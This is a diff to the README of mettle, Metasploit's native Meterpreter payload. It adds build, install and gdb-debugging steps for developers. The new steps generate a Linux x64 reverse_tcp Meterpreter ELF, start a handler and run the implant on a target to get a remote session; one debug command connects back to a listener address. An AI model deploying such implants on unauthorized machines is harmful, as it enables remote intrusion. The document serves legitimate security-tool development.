-Using with Metasploit
----------------------
+## Using with Metasploit
 
 To pull your local changes of mettle into your Metasploit install:
 
-1. Add `-dev` to the version in `lib/metasploit_payloads/mettle/version.rb`
-2. Build the gem as above
+1. Add `-dev` to the version in `lib/metasploit_payloads/mettle/version.rb`:
+```
+# -*- coding:binary -*- 
+module MetasploitPayloads 
+  VERSION = '1.0.28-dev'
+
+  def self.version 
+    VERSION 
+  end 
+end
+```
+2. Build the gem with:
+```
+~/code/mettle$ rake build 
+=> metasploit_payloads-mettle 1.0.28.pre.dev built to pkg/metasploit_payloads-mettle-1.0.28.pre.dev.gem.
+```
 3. Copy `pkg/metasploit-payloads-mettle-X.X.X.pre.dev.gem` to the box you are using for Metasploit if it is different
-4. Change the version in your metasploit-framework.gemspec to match the one you just built
+4. Change the version in your `metasploit-framework.gemspec` to match the one you just built:
+```
+spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.28-dev'
+```  
 5. `gem install <path to new gem>` (for example: 'metasploit_payloads-mettle', '0.4.1.pre.dev')
-6. Run `bundle install` in your Framework directory, and ensure you see something like `Using metasploit_payloads-mettle 0.4.1.pre.dev (was 0.4.1)` in the output
-7. Congrats, you are now done!
+```
+~/code/metasploit-framework$ gem install metasploit_payloads-mettle-1.0.28.pre.dev.gem 
+Successfully installed metasploit_payloads-mettle-1.0.28.pre.dev 
+Parsing documentation for metasploit_payloads-mettle-1.0.28.pre.dev 
+Installing ri documentation for metasploit_payloads-mettle-1.0.28.pre.dev 
+Done installing documentation for metasploit_payloads-mettle after 0 seconds 1 gem installed
+```
+6. Run `bundle install` in your Framework directory, and ensure you see something like the following in the output:
+```
+Using metasploit_payloads-mettle 1.0.28.pre.dev (was 1.0.26)
+```
+
+7. Use an appropriate payload:
+```
+msf6> use payload/linux/x64/meterpreter/reverse_tcp 
+```
+
+8. Generate the payload:
+```
+msf6> payload(linux/x64/meterpreter_reverse_tcp) > generate -f elf -o mettle.elf
+```
+
+9. Change the file permissions:
+
+```
+msf6> payload(linux/x64/meterpreter_reverse_tcp) > chmod +x mettle.elf
+```
+
+10. Set up a handler
+```
+msf6> payload(linux/x64/meterpreter_reverse_tcp) > to_handler
+```
+
+11. Move the payload to the target machine and run it, you should now get back a session on `msfconsole`!
+
+
+## Docker
+The following steps make use of `gdb` for debugging.
+1. Run the Docker container:
+```
+~/code/mettle$ sudo docker run -it -v $(pwd):$(pwd) -w $(pwd) rapid7/build:mettle /bin/bash
+```
+
+2. Within the container run the following commands:
+```
+/home/ubuntu/code/mettle# sudo apt-get update
+
+/home/ubuntu/code/mettle# sudo apt-get install gdb
+```
+
+3. Compile(`D=1` enables debugging):
+```
+/home/ubuntu/code/mettle# make clean
+
+/home/ubuntu/code/mettle# make D=1
+```
+
+4. Then run with `gdb`:
+```
+/home/ubuntu/code/mettle# gdb --args /home/ubuntu/code/mettle/build/linux.x86_64/bin/mettle --debug 3 --uri "tcp://192.168.175.1:4444"
+```
+
+5. Once within `gdb` run the following commands:
+```
+(gdb) b *main
+
+(gdb) run
+```
+
+6. To get breakpoint in `gbd` add the following into your code:
+```
+__asm("int3");
+```
+
+### TUI
+[TUI](https://sourceware.org/gdb/current/onlinedocs/gdb.html/TUI.html) allows `gdb` to show the code above the terminal
+for easier code traversal when debugging. _Note_ TUI will remove use of arrows for navigating console history.

+## Pushing out a New Gem
 
-Pushing out a New Gem
-----------------------
 Build CI will automatically publish new gems when commits land to master and pass build.
 1. Test Locally
 2. Land the changes to upstream master
 3. Monitor for the new gem on rubygems.org
 4. Once the gem appears, make a PR for bumping the version in framework
